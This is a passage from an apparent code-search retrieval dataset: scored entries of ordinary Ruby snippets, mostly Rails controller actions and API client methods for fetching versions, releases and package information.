},
{
"docid": "a685281193e60912d9e043ee9b21ea79",
"score": "0.64261",
"text": "def index\n @versions = Version.all\n end",
"title": ""
},
{
"docid": "a685281193e60912d9e043ee9b21ea79",
"score": "0.64261",
"text": "def index\n @versions = Version.all\n end",
"title": ""
},
{
"docid": "a685281193e60912d9e043ee9b21ea79",
"score": "0.64261",
"text": "def index\n @versions = Version.all\n end",
"title": ""
},
{
"docid": "e1aae4956a46c4db70305af31805ee9a",
"score": "0.6395935",
"text": "def paper_trail_resources\n get \"versions/:version_id\", on: :member, action: :version, as: :version\n get \"version_at(/:version_at)\", on: :member, action: :version_at, as: :version_at\n get \"versions\", on: :member, action: :versions\n end",
"title": ""
},
{
"docid": "36bc028e303984bf434b9535c6f51cb1",
"score": "0.6389822",
"text": "def index\n @versions = Version.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @versions }\n end\n end",
"title": ""
},
{
"docid": "7483893dd084fa954122fb14db8c38e7",
"score": "0.6371143",
"text": "def show\n @version = Version.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @version }\n end\n end",
"title": ""
},
{
"docid": "7483893dd084fa954122fb14db8c38e7",
"score": "0.6371143",
"text": "def show\n @version = Version.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @version }\n end\n end",
"title": ""
},
{
"docid": "ef3b646beafa1cda11e61dd1af6b5cf1",
"score": "0.6361739",
"text": "def version\n api_execute('/version', :get).body\n end",
"title": ""
},
{
"docid": "987ac9bbd39acf6a8047eefec6a60742",
"score": "0.63418955",
"text": "def result_list\n\t\tsupported = ['2.0.3', '3.0']\n\t\tunless supported.include? params[:version] then\n\t\t\traise ActionController::RoutingError.new('Not Found')\n\t\tend\n\t\t\n\t\t@version = params[:version]\n\t\t@event = Event.find(params[:id])\n\t\trespond_to do |format|\n\t\t\tformat.xml { render :layout => false }\n\t\tend\n\tend",
"title": ""
},
{
"docid": "71f84cb1aa70ed628bf028c313f719f6",
"score": "0.63365495",
"text": "def index\n version = { version: 'v1' }\n render version\n end",
"title": ""
},
{
"docid": "77790e44ddbf734e8a29602669dd5f26",
"score": "0.63208646",
"text": "def show\n find_recipe_with_version\n \n respond_to do |format|\n format.html # show.rhtml\n format.xml { render xml: @recipe.to_xml }\n end\n end",
"title": ""
},
{
"docid": "3d042b0b1670fb118826260dc94378d5",
"score": "0.6314966",
"text": "def index\n @vers = [@form.ver]\n \n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @vers }\n end\n end",
"title": ""
},
{
"docid": "a1f8b454d090baaea9e26da0a54d3e04",
"score": "0.63116693",
"text": "def show\n @product_version = ProductVersion.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @product_version }\n end\n end",
"title": ""
},
{
"docid": "429a37909e9fb8ae99b4e48994f97ea7",
"score": "0.6310621",
"text": "def list_versions(id)\n uri = URI::HTTP.build( {:host => @host, :port => @port,\n :path => build_resource(id), :query => \"versions\" } )\n\n headers = {}\n\n request = build_request( EsuRestApi::GET, uri, headers, nil )\n\n response = @session.request( request )\n\n handle_error( response )\n\n # Parse returned IDs\n return parse_version_list( response )\n end",
"title": ""
},
{
"docid": "e2dac50754ff31bd8a2db9f1ed47f721",
"score": "0.6300181",
"text": "def query_version\n response = query_api(VERSION_ENDPOINT)\n response.body\n end",
"title": ""
},
{
"docid": "d4ce7d23f214cf98c5391ff463ed4db2",
"score": "0.6298778",
"text": "def get_versions(document)\n soapmsg = build_soap_envelope do |type, builder|\n if(type == :header)\n else\n builder.GetVersions {\n builder.parent.default_namespace = @default_ns\n builder.fileName(document)\n }\n end\n end\n soaprsp = Nokogiri::XML(send_soap_request(soapmsg.doc.to_xml))\n versions = []\n ns = {\"xmlns\"=> @default_ns}\n soaprsp.xpath('//xmlns:GetVersionsResult/xmlns:results/xmlns:result', ns).each do |l|\n versions << new_version(l)\n end\n versions\n end",
"title": ""
},
{
"docid": "fc722682fcdadc64d244da5f6346a0d9",
"score": "0.62943417",
"text": "def version\n connection.get('/version')\n end",
"title": ""
},
{
"docid": "fe33a0384adc5a60555a2e1016f8b145",
"score": "0.62893194",
"text": "def show\n @version = Version.find(params[:id])\n end",
"title": ""
},
{
"docid": "6b98da3af3e80338f9e8cc1c293458c7",
"score": "0.62850195",
"text": "def versions(id)\n connection.get do |req|\n req.url \"job/#{id}/versions\"\n end\n end",
"title": ""
},
{
"docid": "44571c9640d12179a3b5223c9f1a0079",
"score": "0.6283868",
"text": "def version\n do_request 'version'\n end",
"title": ""
},
{
"docid": "d364e92db1692a7f0e8dc70d5b0079ea",
"score": "0.62792206",
"text": "def new\n @version = @page.versions.new\n\n respond_to do |format|a\n format.html # new.html.erb\n format.xml { render :xml => @version }\n end\n end",
"title": ""
},
{
"docid": "2a88a5ebc395f6f138f8e89c1312bdba",
"score": "0.62700534",
"text": "def version(&block)\n relative_path = [@@api_path, 'version'].join('/')\n response = @connection.get relative_path, &block\n\n info = Nokogiri.XML(response).xpath('//version').collect(&:attributes)\n info= info.collect {|attr|\n attr.inject({}){|n, (k,v)| n[k] = v.value; n}\n }.first\n end",
"title": ""
},
{
"docid": "76754390758ef423c58509bd0aac2860",
"score": "0.6258648",
"text": "def box_version_get(username:, name:, version:)\n request(method: :get, path: \"/box/#{username}/#{name}/version/#{version}\")\n end",
"title": ""
},
{
"docid": "2e24e7b3c3d1a98879385b3e5b8a19c1",
"score": "0.62487966",
"text": "def get(version, path, params = {})\n headers = request_headers(:get, path, params)\n request(:get, version, path, params, headers)\n end",
"title": ""
},
{
"docid": "80cd7e7ac3cde562f09b588d02e3bd17",
"score": "0.6229044",
"text": "def index\n getDeterVersion\n end",
"title": ""
},
{
"docid": "2ff5bc8c3ffb10664e8f7e9baf3d118e",
"score": "0.6220122",
"text": "def show\n @version_use = VersionUse.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @version_use }\n end\n end",
"title": ""
},
{
"docid": "706c20fc08aeaf858f3771b60be42846",
"score": "0.6206693",
"text": "def get_version\n { version: send_query(\"GETINFO version\") }\n end",
"title": ""
},
{
"docid": "5931a1575632e446f30030ba4888378b",
"score": "0.6193554",
"text": "def fetch_versions(url)\n html = Nokogiri::HTML(open(url))\n raw_versions = html.xpath('/html/body/a').map { |a| a.children.first.text.chomp('/') }\n raw_versions.select { |rw| rw =~ /^[0-9]/ }.map { |rw| Semantic::Version.new(rw) }\n end",
"title": ""
},
{
"docid": "8983de73369dbb165a033da9c773838c",
"score": "0.61895496",
"text": "def index\n @versions = @wiki.versions\n end",
"title": ""
},
{
"docid": "1a3e657d812ac4ca096e363069993fc2",
"score": "0.618326",
"text": "def show\n @activity = Activity.find(params[:activity_id])\n @version = Version.find(params[:id])\n\n begin\n asvc = Brazil::AppSchemaVersionControl.new(:vc_type => Brazil::AppSchemaVersionControl::TYPE_SUBVERSION, :vc_path => @activity.app.vc_path, :vc_uri => ::AppConfig.vc_uri, :vc_tmp_dir => ::AppConfig.vc_dir)\n asvc.valid_next_version? @version.schema, @version.schema_version\n rescue Brazil::ValidVersionException => e\n flash[:warning] = e.to_s\n end\n \n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @version }\n end\n end",
"title": ""
},
{
"docid": "ecce1d8c1bb650c62a3ad81ae4708432",
"score": "0.61641407",
"text": "def xml_version()\n #This is a stub, used for indexing\n end",
"title": ""
},
{
"docid": "ecce1d8c1bb650c62a3ad81ae4708432",
"score": "0.61641407",
"text": "def xml_version()\n #This is a stub, used for indexing\n end",
"title": ""
},
{
"docid": "5127b3eea97f5c8baf78ba2ea090bf5e",
"score": "0.61578065",
"text": "def index\n response = VersionResponse.new( BUILD_VERSION )\n render json: response, :status => 200\n end",
"title": ""
},
{
"docid": "7372459ca698cd28b2634da9821417b3",
"score": "0.61380816",
"text": "def versions(name, options = {})\n ensure_ready!(:authorization)\n url = \"gems/#{escape(name)}/versions\"\n response = connection.get(url, options)\n checked_response_body(response)\n end",
"title": ""
},
{
"docid": "0a065aa0a5cea60b0ff58462706ef417",
"score": "0.61265177",
"text": "def versions\n make_request(\n :get, '/versions', base: \"#{@homeserver}/_matrix/client\"\n )['versions']\n end",
"title": ""
},
{
"docid": "479758b40ea681f1af01ec4b36e3567e",
"score": "0.6119359",
"text": "def index\n breadcrumb \"History\"\n\n @versions = @object.versions.order(order)\n .page(params[:page]).per(list.per_page)\n end",
"title": ""
},
{
"docid": "9c8734ffe85ab509a34828961c7a275d",
"score": "0.6118351",
"text": "def show\n if params[:versao]\n @reverter_link = reverter_artigo_path(params[:id], :versao => params[:versao])\n @artigo = @artigo.versions.find(params[:versao].to_i)\n end\n \n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @artigo }\n end\n end",
"title": ""
},
{
"docid": "30dcf906f48c74acf3c5452c8b45f25d",
"score": "0.61051285",
"text": "def versions(options = { page: 1, per_page: 20 })\n @app.client.model_versions @id, options\n end",
"title": ""
},
{
"docid": "6c175e22ca0889d2f13d31d643b2997d",
"score": "0.60780674",
"text": "def show\n @document_version = DocumentVersion.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @document_version }\n end\n end",
"title": ""
},
{
"docid": "6c175e22ca0889d2f13d31d643b2997d",
"score": "0.60780674",
"text": "def show\n @document_version = DocumentVersion.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @document_version }\n end\n end",
"title": ""
},
{
"docid": "cc22df2ad248a82fe53a048f9fc9cb47",
"score": "0.6072273",
"text": "def index\n @admin_versions = Admin::Version.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @admin_versions }\n end\n end",
"title": ""
},
{
"docid": "ff9d2e004a03bf9031f7f4584fad665b",
"score": "0.60701805",
"text": "def crucible_version\n build_rest_call('api/rest/fisheyeVersion', :get)\n end",
"title": ""
},
{
"docid": "8b19e5d364b9802c23f0592067bf09ff",
"score": "0.6065788",
"text": "def version_info\n halt 200, File.read(\"#{ROOT_DIR}/VERSION.json\")\n rescue StandardError\n halt_not_found('no_version_definition',\n 'No API version documentation at this time.')\n end",
"title": ""
},
{
"docid": "1e6d00f7e8a35305b4727f5299db56c6",
"score": "0.6054163",
"text": "def version\n request_get('/utils/version')\n end",
"title": ""
},
{
"docid": "53b89880e5eb840c11c268af084136e8",
"score": "0.605055",
"text": "def show\n if params[:id] == 'version'\n render json: { version: Application.version }\n else\n not_found\n end\n end",
"title": ""
},
{
"docid": "9472cc49cb61090142f4816b9bdec1d5",
"score": "0.60478103",
"text": "def version\n request = Request::MetaRequest.new\n rest_get(request.version, {\"Accept\" => \"text/plain\"}).strip\n end",
"title": ""
},
{
"docid": "96db6460b65843ffb2feba087c7e2f6a",
"score": "0.6041225",
"text": "def version\n response = @client.get '/version?json'\n JSON.parse response.body\n end",
"title": ""
},
{
"docid": "337315ac77d4199b923e8a850bd412a7",
"score": "0.60366786",
"text": "def show\n \tversion = params[:id].gsub(\"_\",\".\")\n \t\n \t#全てのバージョン\n \tverList = Version.comparableVersions(version)\n \tprevVer = verList[0].versionno\t\t\n \n \t#ヘッダ情報\n \t@headerData = Version.modules(version) \t\t \t\n\n\t@verList = verList\n\t@prevVer = \tprevVer\n\t@currentVersion = params[:id]\n\t\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @version }\n end\n end",
"title": ""
},
{
"docid": "a7cb9e8c5f53b80234fdee889f7a699f",
"score": "0.60312027",
"text": "def show\n #@calmapp_version = CalmappVersion.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @calmapp_version }\n end\n end",
"title": ""
},
{
"docid": "0c33cff6cab6daa0f5f2bf7a94d4ce40",
"score": "0.6031149",
"text": "def lookup_version\n @version = '0.0.0.70'\n respond_to do |format|\n format.json { render :json => @version}\n end\n end",
"title": ""
},
{
"docid": "0bdae777a95648055ec2323affc247ee",
"score": "0.60227025",
"text": "def index\n @versions = @update_apk.versions\n end",
"title": ""
},
{
"docid": "508ea05904af959fb9efcfb8783da8c7",
"score": "0.6016997",
"text": "def show\n #@ver = Ver.find(params[:id])\n @ver = @form.ver\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @ver }\n end\n end",
"title": ""
},
{
"docid": "6060b79b308141e74ccd048b3ec20ff7",
"score": "0.60151047",
"text": "def version(details: nil)\r\n query = {\"details\": details}\r\n request(\"GET\", \"_api/version\", query: query)\r\n end",
"title": ""
},
{
"docid": "8136b8962dff30311fb15627e3082c59",
"score": "0.6013425",
"text": "def show\n begin\n @config_version = ConfigVersion.find(params[:id])\n rescue\n @config_version = nil\n end\n if @config_version\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @config_version }\n end\n else\n render(:text => \"Not Found\", :status => 404) # Not Found\n end\n\n end",
"title": ""
},
{
"docid": "8bb453925bd45ac11176ab14e579ab19",
"score": "0.60120505",
"text": "def show\n @upgrade = Upgrade.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @upgrade }\n end\n end",
"title": ""
},
{
"docid": "92b38ef3f51e0fe8d6880add31786bad",
"score": "0.601203",
"text": "def new\n @app_version = @app.app_versions.new(params[:app_version])\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @app_version }\n end\n end",
"title": ""
},
{
"docid": "cda8723755e0f0996d383a75e217629b",
"score": "0.6008888",
"text": "def index\n @file_versions = FileVersion.all\n end",
"title": ""
},
{
"docid": "91b1ea26d682a263963f556b03c99184",
"score": "0.5996742",
"text": "def show\n @app_version = AppVersion.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @app_version }\n end\n end",
"title": ""
},
{
"docid": "93a884521ee7e70f7f7c4f9da91c7692",
"score": "0.5990967",
"text": "def qbittorrent_version\n self.class.format :plain\n self.class.get('/version/qbittorrent').parsed_response\n #self.class.get('/version/qbittorrent')\n end",
"title": ""
},
{
"docid": "3c2d694e3d7dc4c09626862fcdbfd324",
"score": "0.59882396",
"text": "def versions(client, name)\n response = client.connection.get(\"#{self.resource_path}/#{name}\").body\n\n response[name][\"versions\"].collect do |cb_ver|\n cb_ver[\"version\"]\n end\n end",
"title": ""
},
{
"docid": "c249d92e53234e6c79a4c354b126203e",
"score": "0.5985069",
"text": "def show\n @version = @object.versions.find_by_version_number!(params[:version_number])\n\n breadcrumb \"History\",\n secretary.history_path(@object.class.route_key, @object.id),\n @version.to_title\n end",
"title": ""
},
{
"docid": "74665b13b221977d7e1d40ae350ab608",
"score": "0.59812254",
"text": "def index\n if params[:site_id]\n @site = current_user.sites.find params[:site_id]\n respond_with @site.versions\n else\n respond_with @versions\n end\n end",
"title": ""
},
{
"docid": "9d83f9575b7874cdb081200199dfd50f",
"score": "0.59785354",
"text": "def fetch_published_version\n service_response = AdminManagement::CmsConfigurator::FetchPublishedVersion.new(params).perform\n render_api_response(service_response)\n end",
"title": ""
},
{
"docid": "9aa9423dc761bd92c8be9def31eb4292",
"score": "0.5977444",
"text": "def show\n @vurl = Vurl.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @vurl }\n end\n end",
"title": ""
},
{
"docid": "1de959baba326c045ef56e8a5d56aeae",
"score": "0.5969114",
"text": "def rest_get(path, api_ver = @api_version)\n rest_api(:get, path, {}, api_ver)\n end",
"title": ""
},
{
"docid": "c412bfe4aef05973dd22be5852a374c1",
"score": "0.5965334",
"text": "def index\n @app_versions = AppVersion.all\n end",
"title": ""
},
{
"docid": "b65a06ed7d2086e0bd7eddf03ddbc311",
"score": "0.5962587",
"text": "def index\n @releases = Release.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @releases }\n end\n end",
"title": ""
},
{
"docid": "dc0da38bf325b353033118aa338db991",
"score": "0.5956962",
"text": "def index\n @releases = @product.releases\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @releases }\n end\n end",
"title": ""
},
{
"docid": "20f58afd35b6d39bc0e9b31b8e0b458e",
"score": "0.594791",
"text": "def resource_version(uri, options)\n result = @db[CLOUDKIT_STORE].\n select(:content, :etag, :last_modified).\n filter(options.merge(:uri => uri))\n return status_404 unless result.any?\n result = result.first\n response(200, result[:content], result[:etag], result[:last_modified])\n end",
"title": ""
},
{
"docid": "712586695c2211af983c554a50db634e",
"score": "0.59380656",
"text": "def show\n @page_version = PageVersion.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @page_version }\n end\n end",
"title": ""
}
] |
a426c93801b25c5ae019c99a9d75869b
|
Returns the HTML body for PyPI simple API. Basically a list of package download links for a specific package
|
[
{
"docid": "0eb72cb0de177b42ba590ae31b18236f",
"score": "0.5150415",
"text": "def body\n <<-HTML\n <!DOCTYPE html>\n <html>\n <head>\n <title>Links for #{escape(name)}</title>\n </head>\n <body>\n <h1>Links for #{escape(name)}</h1>\n #{links}\n </body>\n </html>\n HTML\n end",
"title": ""
}
] |
[
{
"docid": "e1b0fb648f307a15044959f89581dd29",
"score": "0.62841856",
"text": "def to_html\n dependencies = \"<p class='dependencies'>#{@dependencies}</p>\" if @dependencies && !@dependencies.empty?\n authors = \"<p class='authors'>☺ #{@authors}</p>\" if @authors && !@authors.empty?\n summary = \"<p class='summary'>#{@summary}</p>\"\n \"<li class='gem'><p><a href='http://rubygems.org/gems/#{@name}'>#{@name}</a><p>#{summary}<p></p>#{dependencies}#{authors}</li>\"\n end",
"title": ""
},
{
"docid": "5ce5ec5d4751cd9564e115e6c33e7e82",
"score": "0.6058195",
"text": "def package_website(folder)\n \treturn \"TODO\"\n end",
"title": ""
},
{
"docid": "b2f9b55832b28479316de80efbe312ae",
"score": "0.6018761",
"text": "def url\n \"https://build.opensuse.org/package/show/#{obs_project_pr_name}/#{obs_package_name}\"\n end",
"title": ""
},
{
"docid": "a101a281b7dcc6788cdfac955fc0a8de",
"score": "0.5792822",
"text": "def output_list_entry(package, version, type)\n entry = URL[package] or return warn(\"Package #{package.inspect} unexpected\")\n entry = \"https://#{entry}\" % { version: version, type: type }\n size = (Net::HTTP.get(URI(entry)) rescue '').size\n return warn(\"Invalid URL #{entry.inspect}\") if size.zero?\n debug(\"#{size} bytes from URL #{entry.inspect}\")\n output_list_line(entry)\nend",
"title": ""
},
{
"docid": "5eee7af307dcd1f325a2a01b9c50166b",
"score": "0.579145",
"text": "def description_packages\n requests = meta[\"requests\"]\n if requests.blank?\n ''\n else\n requests.map { |i| i[\"package\"] }.sort.join(', ')\n end\n end",
"title": ""
},
{
"docid": "20bff1d5e791268e06cf907e63e22e7d",
"score": "0.57444835",
"text": "def do_html(cli, _req)\r\n resp = create_response\r\n resp.body = <<HTML\r\n <html>\r\n <head><title>Public Repositories</title></head>\r\n <body>\r\n <p>Here are our public repositories:</p>\r\n <ul>\r\nHTML\r\n\r\n if datastore['GIT']\r\n this_git_uri = URI.parse(get_uri).merge(git_uri)\r\n resp.body << \"<li><a href=#{git_uri}>Git</a> (clone with `git clone #{this_git_uri}`)</li>\"\r\n else\r\n resp.body << \"<li><a>Git</a> (currently offline)</li>\"\r\n end\r\n\r\n if datastore['MERCURIAL']\r\n this_mercurial_uri = URI.parse(get_uri).merge(mercurial_uri)\r\n resp.body << \"<li><a href=#{mercurial_uri}>Mercurial</a> (clone with `hg clone #{this_mercurial_uri}`)</li>\"\r\n else\r\n resp.body << \"<li><a>Mercurial</a> (currently offline)</li>\"\r\n end\r\n resp.body << <<HTML\r\n </ul>\r\n </body>\r\n </html>\r\nHTML\r\n\r\n cli.send_response(resp)\r\n end",
"title": ""
},
{
"docid": "54cc5e200a204e97f3b0fd4b89113a63",
"score": "0.5712424",
"text": "def main_url\n \"files/README.html\"\n end",
"title": ""
},
{
"docid": "199de0ab4ee79697d1445fe43d3cb260",
"score": "0.569673",
"text": "def packages_info_url\n @@cran_url + @@packages_info\n end",
"title": ""
},
{
"docid": "a3cc40421909ae73dda25f51e51d4448",
"score": "0.5696487",
"text": "def show_package(pkg)\n JSON.parse(@connection.get(show_package_path(pkg)).body)\n end",
"title": ""
},
{
"docid": "4bd14dcfbd02d1725504ebfe04a6239a",
"score": "0.5690846",
"text": "def download_pkg_info(pkgname)\n Net::HTTP.get(\n URI.parse(@@aur_base_url + pkgname))\n end",
"title": ""
},
{
"docid": "a7422208adea2d98abc46a080d73854e",
"score": "0.566656",
"text": "def get_pypi_info(package, version)\n metadata_url = \"https://pypi.org/pypi/#{package}/#{version}/json\"\n out, _, status = curl_output metadata_url, \"--location\"\n\n return unless status.success?\n\n begin\n json = JSON.parse out\n rescue JSON::ParserError\n return\n end\n\n sdist = json[\"urls\"].find { |url| url[\"packagetype\"] == \"sdist\" }\n return json[\"info\"][\"name\"] if sdist.nil?\n\n [json[\"info\"][\"name\"], sdist[\"url\"], sdist[\"digests\"][\"sha256\"]]\n end",
"title": ""
},
{
"docid": "fcfe474d1ef29f85d030ec5a4ef87b7e",
"score": "0.55905724",
"text": "def show(package)\n # get the apt-cache show output\n output = `apt-cache show \\\"#{package}\\\"`.split(\"\\n\")\n return false if output.length == 0\n # we will split this into 3 parts: parameters, description, and footnote\n params = {}\n desc = \"\"\n ftn = nil\n # iterate through each line\n output.each do |l|\n # unless the first character is a space, we have a parameter\n unless l[0] == \" \"\n # get the name - before the first colon\n p = l.partition(\":\")\n # get the value\n params[p[0]] = p[2].strip\n else\n # if the line is a space and a period, we are entering the footnote\n if l == \" .\" # footnote\n # toggle the footnote\n ftn = \"\"\n else\n # add to the description, unless we are in the footnote\n desc += l.strip if ftn.nil?\n # add to teh footnote, unless we are in the description\n ftn += l.strip unless ftn.nil?\n end\n end\n end\n # find the longest key in the parameters\n longest = 0\n params.each do |k,v|\n longest = k.length > longest ? k.length : longest\n end\n \n # start by printing the description parameter (title of the package)\n print params[\"Description\"].foreground(:green).bright.underline + \"\\n\\n\"\n \n # print the long description\n print desc.foreground(:white).bright + \"\\n\\n\" unless desc.nil?\n # print the footnote\n print ftn.foreground(:blue) + \"\\n\\n\" unless ftn.nil?\n \n # ommit the details if we only want the description\n unless options[:desc]\n params.each do |k,v|\n print_param(params, k, longest)\n end\n puts \"\\n\"\n end\n end",
"title": ""
},
{
"docid": "8a927dbc6ddd5dad43ed60b0f04a7d50",
"score": "0.55766445",
"text": "def do_html(cli, _req)\r\n resp = create_response\r\n resp.body = <<HTML\r\n <html>\r\n <head><title>Public Repositories</title></head>\r\n <body>\r\n <p>Here are our public repositories:</p>\r\n <ul>\r\nHTML\r\n this_git_uri = URI.parse(get_uri).merge(git_uri)\r\n resp.body << \"<li><a href=#{git_uri}>Git</a> (clone with `git clone #{this_git_uri}`)</li>\"\r\n resp.body << <<HTML\r\n </ul>\r\n </body>\r\n </html>\r\nHTML\r\n\r\n cli.send_response(resp)\r\n end",
"title": ""
},
{
"docid": "a78b4e74131fc9afb31277a79a4d09d9",
"score": "0.5551381",
"text": "def rpm_content(name, options={})\n request_str = \"/appliances/#{id.to_i}/cmd/download_package?name=#{CGI.escape name.to_s}\"\n request_str = Util.add_options request_str, options, false\n GenericRequest.new(self.class.studio_connection).get request_str\n end",
"title": ""
},
{
"docid": "d2f9b326b2de75bb9a36bc82daff8e2e",
"score": "0.55504686",
"text": "def url\n return text_node('package/url')\n end",
"title": ""
},
{
"docid": "f5a83204030ddb5959f18d8164599578",
"score": "0.55396456",
"text": "def description\n package.description\n end",
"title": ""
},
{
"docid": "9ae7cc25428fafc782b00b59f149076d",
"score": "0.5511405",
"text": "def html\n\n html = ''\n \n @stories.each do |pkg|\n \n html << <<DOCUMENT\n <div class=\"story\">\n <h2><a href=\"#{pkg[:url]}\">#{pkg[:hed]}</a></h2>\nDOCUMENT\n \n if not pkg[:img].empty?\n html << <<DOCUMENT\n <div class=\"img\"><a href=\"#{pkg[:url]}\"><img src=\"#{pkg[:img]}\"></a></div>\nDOCUMENT\n end\n \n if not pkg[:blurb].empty?\n html << <<DOCUMENT\n <div class=\"blurb\">#{pkg[:blurb]}</div>\nDOCUMENT\n end\n \n html << <<DOCUMENT\n </div>\nDOCUMENT\n \n end\n \n self.write(html)\n end",
"title": ""
},
{
"docid": "360d57ce30fb900bede05ec5e650dbee",
"score": "0.5503955",
"text": "def list_downloads(repo, options = T.unsafe(nil)); end",
"title": ""
},
{
"docid": "66ae08a7153df9154110da600aa62195",
"score": "0.5482501",
"text": "def list_packages value=''\n c = Curl::Easy.new(\"http://#{@info.url}/#{@list_package_path}\")\n c.http_auth_types = :basic\n c.username = @info.username\n c.password = @info.password\n c.perform\n body = c.body_str\n xml = Nokogiri::XML(body)\n res = []\n xml.search(\"//package\").each do |pkg|\n pack = Aem::Package.new\n pack.name = pkg.at('name').inner_text\n pack.group = pkg.at('group').inner_text\n pack.version = pkg.at('version').inner_text\n pack.downloadName = pkg.at('downloadName').inner_text\n pack.size = pkg.at('size').inner_text\n pack.created = pkg.at('created').inner_text\n pack.createdBy = pkg.at('createdBy').inner_text\n pack.lastModified = pkg.at('lastModified').inner_text\n pack.lastModifiedBy = pkg.at('lastModifiedBy').inner_text\n pack.lastUnpacked = pkg.at('lastUnpacked').inner_text\n pack.lastUnpackedBy = pkg.at('lastUnpackedBy').inner_text\n res << pack\n end\n if value.eql? ''\n return res\n else\n other = []\n res.each do |pkg|\n other << {\n value => pkg[value]\n }\n end\n return other\n end\n end",
"title": ""
},
{
"docid": "fb9096e71b332444bea563691df501f3",
"score": "0.5478638",
"text": "def pulls\n items = Github.get(\"repos/#{REPO}/pulls\")\n puts \"#{items.length} pull requests\"\n items.each do |i|\n puts \"_\" * 80\n puts color(\"\\##{i['number']} #{i['title']}\", :green)\n puts i['html_url']\n puts \"#{word_wrap(i['body'])}\" if i['body'] && !i['body'].empty?\n puts \"_\" * 80\n puts \"\"\n end\n end",
"title": ""
},
{
"docid": "2aa82e9169e2295cbf2cb433a4753de5",
"score": "0.5458181",
"text": "def parse_plain_text(package_info)\n full_url = convert_relpath_to_url(package_info[\"relpath\"])\n \"url\\t#{full_url}\\nmd5\\t#{package_info['md5']}\\nsha256\\t#{package_info['sha256']}\\nversion\\t#{package_info['version']}\"\n end",
"title": ""
},
{
"docid": "be67ee0c08780ea95d9d098861122bec",
"score": "0.5449648",
"text": "def download_readme!(opts={})\n @patch.download_readme!(opts)\n end",
"title": ""
},
{
"docid": "9997b1b764585ab6d9d15c50ce5c34c0",
"score": "0.54335815",
"text": "def show_pkg_info(package)\n\tdependencies = []\n \topt = []\n\taur_deps = []\n\tname, version, release, description = \"\"\n\tputs\n\tputs \"Package that will be installed\".yellow\n\tputs \"==============================\".yellow\n\n\t# Get basic information about the package from the PKGBUILD file\n\tFile.readlines(\"/tmp/umbra/#{package}/.SRCINFO\").each {\n\t\t|line| case line.split(\"=\")[0].delete_prefix(\"\\t\").strip\n\t\twhen \"pkgbase\"\n\t\t\tname = line.split(\"=\")[1].strip\n\t\twhen \"pkgver\"\n\t\t\tversion = line.split(\"=\")[1].strip\n\t\twhen \"pkgrel\"\n\t\t\trelease = line.split(\"=\")[1].strip\n\t\twhen \"pkgdesc\"\n\t\t\tdescription = line.split(\"=\")[1]\n\t\twhen \"depends\"\n\t\t\tdependencies << line.split(\"=\")[1].strip.split(\" \")[0].split(\"<\")[0].split(\">\")[0].split(\">\")[0]\n\t\twhen \"optdepends\"\n\t\t\topt << line.split(\"=\")[1].strip\n\t\tend\n\t}\n\n\t# Show dependencies\n\tputs \"Name: #{name}\"\n\tputs \"Version: #{version}\"\n\tputs \"Release: #{release}\"\n\tputs \"Description: #{description}\"\n\tif dependencies.length > 1\n\t\tputs\n\t\tputs \"Dependencies\".yellow\n\t\tputs \"============\".yellow\n\t\ti = 0\n\t\twhile i < dependencies.length\n\t\t\tprint \"#{dependencies[i]} \"\n\t\t\t# Check what packages are available in the AUR\n\t\t\tcode=%x(curl -Is #{AUR_url}packages/#{dependencies[i].split(\" \")[0].split(\"<\")[0].split(\">\")[0].split(\">\")[0]} | head -1 | cut -d\" \" -f2).chomp\n\t\t\tif code != \"404\"\n\t\t\t\tputs \"(Will be installed from the AUR)\"\n\t\t\t\taur_deps << dependencies[i].split(\" \")[0]\n\t\t\telse\n\t\t\t\tputs\n\t\t\tend\n\t\t\ti += 1\n\t\tend\n\tend\n\n\t# Show optional dependencies\n\tif opt.length > 1\n\t\tputs\n\t\tputs \"Optional dependencies\".yellow\n\t\tputs \"=====================\".yellow\n\t\ti = 0\n\t\twhile i < opt.length\n\t\t\tputs \"#{opt[i]}\"\n\t\t\ti += 1\n\t\tend\n\tend\n\tputs\n\n\t# Start installing the dependencies that are from the AUR\n\twhile aur_deps.length > 0\n\t\tprint \">> \".magenta\n\t\tputs \"Installing dependencies that are only available in the AUR\"\n\t\tpkg_install(aur_deps[0])\n\t\taur_deps.delete_at(0)\n\tend\nend",
"title": ""
},
{
"docid": "279d54a7bfa9b89506caa9db0e0928c8",
"score": "0.5422908",
"text": "def parse_plain_text(package_info)\n full_url = convert_relpath_to_url(package_info[\"relpath\"])\n ret = \"url\\t#{full_url}\\nmd5\\t#{package_info['md5']}\\nsha256\\t#{package_info['sha256']}\\n\"\n ret\n end",
"title": ""
},
{
"docid": "eb6d09840e709d0653755a65bb222b04",
"score": "0.54179734",
"text": "def latest\n # Is it in an env?\n env, package = parse_env(@resource[:name])\n \n client = XMLRPC::Client.new2(\"http://pypi.python.org/pypi\")\n client.http_header_extra = {\"Content-Type\" => \"text/xml\"}\n client.timeout = 10\n result = client.call(\"package_releases\", package)\n result.first\n rescue Timeout::Error => detail\n raise Puppet::Error, \"Timeout while contacting pypi.python.org: #{detail}\";\n end",
"title": ""
},
{
